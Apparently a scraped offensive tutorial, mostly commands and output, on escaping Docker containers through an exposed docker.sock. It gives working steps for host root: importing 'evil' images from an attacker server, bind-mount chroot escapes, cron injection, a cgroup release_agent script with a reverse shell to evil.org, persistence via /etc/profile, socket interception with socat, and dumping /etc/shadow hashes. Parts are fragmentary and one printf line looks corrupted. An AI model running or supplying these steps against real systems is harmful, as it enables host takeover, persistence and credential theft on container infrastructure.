#inside the Ubuntu container
[email protected]:/# curl -i -s --unix-socket /var/run/docker.sock -X POST \
  -d "name=pwned" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  http://localhost/containers/4d40/rename

HTTP/1.1 204 No Content
...

[email protected]:~$ docker ps
CONTAINER ID   IMAGE     COMMAND       CREATED        STATUS        PORTS     NAMES
4d40a4f86500   alpine    "/bin/sh"     22 hours ago   Up 22 hours             pwned
739f2eaf254f   ubuntu    "/bin/bash"   22 hours ago   Up 22 hours             heuristic_poitras

[email protected]:~$ docker pull alpine:2.6
 # do whatever you want, then commit, then save as below to have a custom image tarball
[email protected]~$ docker run -ti alpine:2.6 /bin/sh
/ # vi evil.sh
...
/ # chmod +x evil.sh
/ # ./evil.sh
Hahaha pwned by master of evil containers!
CTRL-p, CTRL-q # Detach from the running container
[email protected]~$ docker export 811750df3a31 > evil.tar
# Next, start a very advance HTTP server
[email protected]~$ { printf 'HTTP/1.0 200 OK\r\nContent-Length: %d\r\n\r\n'   "$(wc -c < evil.tar)"; cat evil.tar; } | nc -l 8080

[email protected]:/# curl --unix-socket /var/run/docker.sock -X POST   "http://localhost/images/create?fromSrc=http://192.168.1.28:8080/evil.tar&repo=evil%3A13.37"
{"status":"Downloading from http://192.168.1.28:8080/evil.tar"}
{"status":"Importing","progressDetail":{"current":69588,"total":4874240},"progress":"[\u003e                                                  ]  69.59kB/4.874MB"}
{"status":"Importing","progressDetail":{"current":987092,"total":4874240},"progress":"[==========\u003e                                        ]  987.1kB/4.874MB"}
{"status":"Importing","progressDetail":{"current":4067284,"total":4874240},"progress":"[=========================================\u003e         ]  4.067MB/4.874MB"}
{"status":"Importing","progressDetail":{"current":4874240,"total":4874240},"progress":"[==================================================\u003e]  4.874MB/4.874MB"}
{"status":"sha256:4c1cc6c8f6d48b48e41bac270efc05bbb250c401a217555c300085679c7b11af"}

[email protected]:~$ docker images
REPOSITORY            TAG       IMAGE ID       CREATED         SIZE
evil                  13.37     4c1cc6c8f6d4   2 minutes ago   4.5MB
ubuntu                latest    7e0aa2d69a15   6 weeks ago     72.7MB
alpine                latest    6dbb9cc54074   8 weeks ago     5.61MB

[email protected]:/# curl -i -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json"  \
  -d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Tty":true,"OpenStdin":true,"StdinOnce":true,"DetachKeys":"Ctrl-p,Ctrl-q","Cmd":["/bin/sh","-c","/evil.sh"],"Image":"evil:13.37"}' \
  http://localhost/containers/create

HTTP/1.1 201 Created
...
{"Id":"3b8b99805ee2179c8c1b2ad903b51888e82806d194ef093b12a68469d8f39980","Warnings":[]}

[email protected]:/# curl -i -s --unix-socket /var/run/docker.sock -X POST \
  http://localhost/containers/3b8b/start

HTTP/1.1 204 No Content
...

[email protected]:~$ docker ps -a | grep 3b8b
3b8b99805ee2   evil:13.37   "/bin/sh -c /evil.sh"   2 minutes ago    Exited (0) 6 minutes ago              eager_bardeen
[email protected]:~$ docker logs 3b8b
Hahaha pwned by master of evil containers!

Escaping to host using a bind mount

The clear separation when the Docker socket is inside a container is obviously a missed boundary. We will start a new container, mount the root file system in it, and use it to run a command on the host.

In order to achieve that, we are going to do the following:

1. create a container bind mounting the host file system;
2. execute the container (run the container);
3. connect to the new container from our current container;
4. schedule a cron job on the host since we will have access to the host file system.

To do that, let’s first find what images are available on the targeted host:

[email protected]:/# curl --unix-socket /var/run/docker.sock -X GET "http://localhost/images/json"
[
  {"Containers":-1,"Created":1619216497,"Id":"sha256:7e0aa2d69a153215c790488ed1fcec162015e973e49962d438e18249d16fa9bd","Labels":null,"ParentId":"","RepoDigests":["[email protected]:cf31af331f38d1d7158470e095b132acd126a7180a54f263d386da88eb681d93"],"RepoTags":["ubuntu:latest"],"SharedSize":-1,"Size":72704716,"VirtualSize":72704716},
  {"Containers":-1,"Created":1618427979,"Id":"sha256:6dbb9cc54074106d46d4ccb330f2a40a682d49dda5f4844962b7dce9fe44aaec","Labels":null,"ParentId":"","RepoDigests":["[email protected]:69e70a79f2d41ab5d637de98c1e0b055206ba40a8145e7bddb55ccc04e13cf8f"],"RepoTags":["alpine:latest"],"SharedSize":-1,"Size":5613158,"VirtualSize":5613158},
]

We can see 2 images, including an alpine one. Hence, we prepare our container, based on the present alpine image. This time, when creating the container we will use a bind mount in order to obtain access to the host filesystem. Finally, we will change the root directory of our container process using chroot to the root directory of the host file system in order to change the context of the container process:

[email protected]:/# curl --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json"  \
  -d '{"AttachStdin":true, "AttachStdout":true, "AttachStderr":true, "Tty":true, "OpenStdin":true, "StdinOnce":true, "DetachKeys":"Ctrl-p,Ctrl-q", "Cmd":["chroot","/host","/bin/bash"], "Image":"alpine", "Binds":["/:/host"]}' \
   http://localhost/containers/create?name=rootfs

{"Id":"2997eb099cef17b380e86824c172334d4e056554ae7477458fe5cc4506b5167b","Warnings":[]}

Now our container with an ID starting with 299 is created and it is ready to be started. We are going to start it and then attach to it using socat. Remember that we executed chroot /host, thus the container process will be able to use the host binaries:

# start the container
[email protected]:/# curl -i --unix-socket /var/run/docker.sock "http://localhost/containers/2997eb/start" -X POST
HTTP/1.1 204 No Content
Api-Version: 1.41
...

[email protected]:/# socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/2997eb099cef/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

HTTP/1.1 101 UPGRADED
Content-Type: application/vnd.docker.raw-stream
Connection: Upgrade
Upgrade: tcp

# the http connection has been hijacked to transport stdin/stdout/stderr data flow
[email protected]:/# ls
ls
bin   cdrom  etc   lib    lib64   lost+found  mnt  proc  run   snap  sys  usr
boot  dev    home  lib32  libx32  media       opt  root  sbin  srv   tmp  var
[email protected]:/# ps
ps
    PID TTY          TIME CMD
  55172 pts/0    00:00:00 bash
  56068 pts/0    00:00:00 ps
[email protected]:/# ps aux | head -n 7
ps aux | head -n 7
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0 169476 13668 ?        Ss   10:28   0:10 /lib/systemd/systemd --system --deserialize 21
root           2  0.0  0.0      0     0 ?        S    10:28   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<   10:28   0:00 [rcu_gp]
root           4  0.0  0.0      0     0 ?        I<   10:28   0:00 [rcu_par_gp]
root           6  0.0  0.0      0     0 ?        I<   10:28   0:00 [kworker/0:0H-kblockd]
root           9  0.0  0.0      0     0 ?        I<   10:28   0:00 [mm_percpu_wq]

But what happened ? Why are we able to see all the host processes within the container environment ? We attached to the container we previously created and started. But this is a “special” container as we set its root directory to be root directory of the host. Hence, we can also access the host proc filesystem which allows us to see all the processes running on the host, even while being inside a container. However, our container is still under the limitation of the PID namespace, thus we can’t interact with processes which are not defined as members of the container process PID namespace.

Next we will execute, still from our container, a command on the host environment (i.e. outside of the container one) using crontab:

[email protected]:/etc# echo "* * * * * root ping -c 20 google.com" >> crontab
[email protected]:/etc# /etc/init.d/cron reload
 * Reloading configuration files for periodic command scheduler cron  [ OK ]

[email protected]:~$ ps aux | grep ping | grep -v grep
root       13650  0.0  0.0   2616   596 ?        Ss   16:57   0:00 /bin/sh -c ping -c 20 google.com
root       13651  0.0  0.0  18472  2708 ?        S    16:57   0:00 ping -c 20 google.com

Et voilà! We executed a command on the host :). This program doesn’t have the limitations imposed on the container by the namespace technology hence we achieved privilege escalation. Once we have access to the root file system, imagination is the limit actually.

Escaping to host using the cgroups

In this section we will use a well known scenario of privilege escalation, combined with our initial constraint (the exposed Docker socket). First, we prepare our script to inject on the host with the exposed Docker socket:

[email protected]:~ $ cat wazaa.sh
#!/bin/sh
rmIP="evil.org";
rmPort="1337";
mkdir -p /tmp/cgroup && mount -t cgroup -o memory cgroup /tmp/cgroup && mkdir -p /tmp/cgroup/child;
echo 1 > /tmp/cgroup/child/notify_on_release # notify parent cgroup that a child cgroup has exited
command_exec_path=$(cat /etc/mtab | grep -oP "upperdir=\K/var/lib/docker/overlay2/\w+/diff")
echo "$command_exec_path/reverse_shell.sh" > /tmp/cgroup/release_agent;
echo "#!/bin/bash" > reverse_shell.sh;
echo "bash -i &> /dev/tcp/$rmIP/$rmPort 0>&1" >> reverse_shell.sh;
chmod 777 reverse_shell.sh;
sh -c "echo \$\$ > /tmp/cgroup/child/cgroup.procs"; # create a child process which exists and triggers the handler

This script does the following:

1. mount the cgroup virtual filesystem inside the file system of the container under the name cgroup;
2. create a child directory cgroup under the mount;
3. set a callback so that when the child cgroup is released (no process is bound inside), an event is triggered which opens a reverse shell.

Last but not least, we prepare our connect-back with a netcat listening on port 1337:

We need to build a container to access the host’s filesystem and play our script. For that, we construct our evil container from an alpine image, we copy our script, and set it as the command that should be executed when the container is started:

[email protected]:~ $ cat Dockerfile
FROM alpine
RUN apk update && apk add curl && apk add grep;
COPY ./wazaa.sh  /wazaa.sh

We build the image (skipped - see previous sections) and download it on the host:

[email protected]:/# curl --unix-socket /var/run/docker.sock -X POST   "http://localhost/images/create?fromSrc=http://192.168.1.28:8080/creadacc.tar&repo=creds%3Alatest"
...
{"status":"sha256:5d49c05b199bbb49621db17077217f52d41c38607826c8d6faa071f4ba99f15c"}

Now it’s time for the show. We are going to start a container using the creds image. In addition, we will define this container as privileged (option "Privileged":true below). A privileged container is a container with almost no isolation from the host: capabilities are not dropped, processes “inside” the container lack restrictions from Seccomp and AppArmor.

[email protected]:/# curl -i --unix-socket /var/run/docker.sock -X POST  \
    -H "Content-Type: application/json" \
    -d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true, "Privileged":true, "Tty":true,"OpenStdin":true,"StdinOnce":true,"DetachKeys":"Ctrl-p,Ctrl-q","Cmd":["/bin/sh", "-c", "/wazaa.sh"], "Image":"creds"}' \
    http://localhost/containers/create

HTTP/1.1 201 Created
Api-Version: 1.41
...
{"Id":"889a3b8a91403a702ab513e44268228571d7365d127a0d69e4324dd275f30107","Warnings":[]}

Next, we start that privileged container, which will connect to our evil machine:

# Our new container is started, connecting back to evil.org
[email protected]:/# curl -i --unix-socket /var/run/docker.sock -X POST http://localhost/containers/889/start

# shell 1
odbash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/# whoami
whoami
root
[email protected]:/# cat /etc/shadow | tail -n 2
cat /etc/shadow | tail -n 2
gdm:*:18737:0:99999:7:::
crypto:$6$JtE1EShg6gk.xLbA$a1RWywxkrbSGKbyZ6dNV6GHHnBO38Mz.T.5tLONZgW2FDKHyT.gDj7yJogRyIskpUpTQxNW/m2HKLu
...

Yes, we are root on the host and we can inspect all the credentials currently available!

[email protected]:~$ cat 02-backup_gnome.sh
docker container inspect pwned 2>/dev/null 1>/dev/null;
if [ $? -eq 1 ]; then
    name=$(ls /tmp | sort -R | tail -n 1 | egrep -o '[[:alnum:]]{7}' | head -n 1)
    2>/dev/null 1>/dev/null docker run -it -d -v /:/host --name pwned$name alpine chroot /host /bin/bash
fi

# building a small image containing the script
[email protected]:~ $ cat Dockerfile
FROM alpine
COPY ./02-backup_gnome.sh /
[email protected]:~ $ chmod a+x 02-backup_gnome.sh
[email protected]:~ $ docker -build -t evil . < Dockerfile
# run a container in order to obtain the image FS in the form of
# tarball archive
[email protected]:~ $ docker run -it -d --rm evil /bin/sh
dadb2f393c4108d77ca06cb2e8ffde6b9a740213205d877341c2294a32478053
[email protected]:~ $ docker export -o evil.tar dadb
# put it again on our evolve web server
[email protected]:~ $ {printf 'HTTP/1.0 200 OK\r\nContent-Length: %d\r%br\r%br'   "$(wc -c < evil.tar)"; cat evil.tar; } | nc -l 8080

[email protected]:/# curl -X POST --unix-socket /var/run/docker.sock "http://localhost/v1.41/images/create?fromSrc=http://192.168.56.1:8888/evil.tar&repo=alpine%3Alatest"
{"status":"Downloading from http://192.168.56.1:8888/evil.tar"}
...
{"status":"sha256:1c11da6f8fdc5541f7ca0b4c31dfd0235c67061824f5e9170b8a2549a945ef85"}
...

[email protected]:/# curl -i --unix-socket /var/run/docker.sock -X POST \
    -H "Content-Type: application/json" \
    -d '{"AttachStdin":true, "AttachStdout":true, "AttachStderr":true, "Tty":true, "OpenStdin":true, "StdinOnce":true, "DetachKeys":"Ctrl-p,Ctrl-q", "Cmd":["/bin/sh", "-c", "cat 02-backup_gnome.sh >> /host/etc/profile"], "Image":"alpine", "Binds":["/:/host"]}' \
    http://localhost/containers/create

HTTP/1.1 201 Created
....
{"Id":"2a533e721d5c97ff6c74b119fc38dfb0fdb1d92e1e0d88cfc517f11428a95f9a","Warnings":[]}
[email protected]:/# curl -i --unix-socket /var/run/docker.sock -X POST http://localhost/containers/2a/start
HTTP/1.1 204 No Content
...

[email protected]:/# curl -i --unix-socket /var/run/docker.sock -XDELETE http://localhost/containers/2a
HTTP/1.1 204 No Content
...

# get info about the layers of the Ubuntu container
[email protected]:739f2eaf254f/# curl --unix-socket /var/run/docker.sock -X GET http://localhost/containers/41c/json | grep LowerDir
lowerdir":"/var/lib/docker/overlay2/74c851b2fe2df84da7a5dadf8bf487fda997948569e954e5e2f953b5fac4e52b-init/diff:/var/lib/docker/overlay2/e0b2fa36b62e947ffb36ded23b540aacf5e82afb2d3564841518555fb3584e4c/diff

[email protected]:~# curl --unix-socket /var/run/docker.sock -X POST \
    -H "Content-Type: application/json" \
    -d '{"AutoRemove":true, "AttachStdin":true, "AttachStdout":true, "AttachStderr":true, "Tty":true, "OpenStdin":true, "StdinOnce":true, "DetachKeys":"Ctrl-p,Ctrl-q", "Cmd":["/bin/echo", "magic"], "Image":"alpine" }' \
    http://localhost/containers/create

{"Id":"41b8ff0f7857f982ead4dcf3eb9cfdf06b0705804f43ee5ba86fe018157719c8","Warnings":[]}

[email protected]:~ $ docker ps -a|grep 41b8
41b8ff0f7857   alpine       "/bin/echo magic"       30 seconds ago      Created                 distracted_hopper

[email protected]:~# curl -i --unix-socket /var/run/docker.sock "http://localhost/containers/41b8/start" -X POST

HTTP/1.1 204 No Content
Api-Version: 1.41
...

[email protected]:~ $ docker logs -n 8  73
  > [email protected]:~# curl -i --unix-socket /var/run/docker.sock "http://localhost/containers/41b8/start" -X POST
  > HTTP/1.1 204 No Content
  > Api-Version: 1.41
  > ...

host>> docker run --rm -it -v "/var/run/:/host" alpine:latest /bin/sh
/ # ls -l /host/docker.sock
srw-rw----    1 root     998              0 Aug 10 07:47 /host/docker.sock
/host # apk add socat
...
OK: 9 MiB in 23 packages
/host # mv /host/docker.sock /host/docker.sock.original
/host # socat -t100 -x -v UNIX-LISTEN:/host/docker.sock,mode=777,reuseaddr,fork UNIX-CONNECT:/host/docker.sock.original

> 2021/08/17 07:05:15.402989  length=81 from=0 to=80
 48 45 41 44 20 2f 5f 70 69 6e 67 20 48 54 54 50  HEAD /_ping HTTP
 2f 31 2e 31 0d 0a                                /1.1..
 48 6f 73 74 3a 20 64 6f 63 6b 65 72 0d 0a        Host: docker..
 55 73 65 72 2d 41 67 65 6e 74 3a 20 44 6f 63 6b  User-Agent: Dock
 65 72 2d 43 6c 69 65 6e 74 2f 32 30 2e 31 30 2e  er-Client/20.10.
 36 20 28 6c 69 6e 75 78 29 0d 0a                 6 (linux)..
 0d 0a                                            ..
--
< 2021/08/17 07:05:15.403878  length=280 from=0 to=279
 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d  HTTP/1.1 200 OK.
 0a                                               .
 41 70 69 2d 56 65 72 73 69 6f 6e 3a 20 31 2e 34  Api-Version: 1.4
 31 0d 0a                                         1..
 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e  Cache-Control: n
 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72  o-cache, no-stor
 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61  e, must-revalida
 74 65 0d 0a                                      te..
 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20  Content-Length:
 30 0d 0a                                         0..
 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65  Content-Type: te
 78 74 2f 70 6c 61 69 6e 3b 20 63 68 61 72 73 65  xt/plain; charse
 74 3d 75 74 66 2d 38 0d 0a                       t=utf-8..
 44 6f 63 6b 65 72 2d 45 78 70 65 72 69 6d 65 6e  Docker-Experimen
 74 61 6c 3a 20 66 61 6c 73 65 0d 0a              tal: false..
 4f 73 74 79 70 65 3a 20 6c 69 6e 75 78 0d 0a     Ostype: linux..
 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65  Pragma: no-cache
 0d 0a                                            ..
 53 65 72 76 65 72 3a 20 44 6f 63 6b 65 72 2f 32  Server: Docker/2
 30 2e 31 30 2e 36 20 28 6c 69 6e 75 78 29 0d 0a  0.10.6 (linux)..
 44 61 74 65 3a 20 54 75 65 2c 20 31 37 20 41 75  Date: Tue, 17 Au
 67 20 32 30 32 31 20 30 37 3a 30 35 3a 31 35 20  g 2021 07:05:15
 47 4d 54 0d 0a                                   GMT..
 0d 0a                                            ..
--
> 2021/08/17 07:05:15.405715  length=96 from=81 to=176
 47 45 54 20 2f 76 31 2e 34 31 2f 63 6f 6e 74 61  GET /v1.41/conta
 69 6e 65 72 73 2f 6a 73 6f 6e 20 48 54 54 50 2f  iners/json HTTP/
 31 2e 31 0d 0a                                   1.1..
...
< 2021/08/17 07:05:15.407683  length=2026 from=280 to=2305
 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d  HTTP/1.1 200 OK.
 0a                                               .
...
5b 7b 22 49 64 22 3a 22 36 39 35 34 31 64 65 37  [{"Id":"69541de7
 32 35 39 39 30 66 32 37 39 33 62 62 37 30 63 39  25990f2793bb70c9
 34 64 65 65 33 64 33 65 64 39 65 64 37 61 30 31  4dee3d3ed9ed7a01
 62 61 35 30 38 38 39 30 31 38 62 30 30 34 34 33  ba50889018b00443
 61 64 65 62 64 64 38 36 22 2c 22 4e 61 6d 65 73  adebdd86","Names
...

[email protected]:/var/run# mv docker.sock /
mv: cannot move 'docker.sock' to '/docker.sock': Device or resource busy

[email protected]:/# curl --unix-socket /var/run/docker.sock http://localhost/containers/4d40/export -X GET -o x.tar
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 6573k    0 6573k    0     0  61.7M      0 --:--:-- --:--:-- --:--:-- 61.7M

[email protected]:~# curl --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json"  \
  -d '{"Privileged":true, "AttachStdin":true, "AttachStdout":true, "AttachStderr":true, "Tty":true, "OpenStdin":true, "StdinOnce":true, "DetachKeys":"Ctrl-p,Ctrl-q", "Cmd":["/bin/bash"], "Image":"ubuntu" }' \
   http://localhost/containers/create

{"Id":"3306475e5b870bd10f73dd0bcf48a34777459f0ad3594f26ada4c1ebefdba653","Warnings":[]}


[email protected]:~# curl -i --unix-socket /var/run/docker.sock "http://localhost/containers/3306/start" -X POST

HTTP/1.1 204 No Content
Api-Version: 1.41
...

[email protected]:~# socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/3306/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp


grep -a '^[a-zA-Z0-9]*:\$.\$' /dev/sda3
grep -a '^[a-zA-Z0-9]*:\$.\$' /dev/sda3
...
bob:$6$uIpLjdAOkiXw1biI$QrTijJtxf2JmyYO3TcdLaR.eDcGNO5ZVfDl25y2da5i/CVws/FNDnxy4cRNs1sLTMZDKY8pVeQnkXLlluhDY.0:18752:0:99999:7:::
john:$6$YHQn/ThUflkAWw/L$CkWP3H2ZqqxKyGv3L0xFawzE97FWMXwCrKUgA8eJiGdiPR0t5c33Vy1PFNh.Bq9bgnBVdjiJ88uXLl1YNcfbi0:18778:0:99999:7:::
...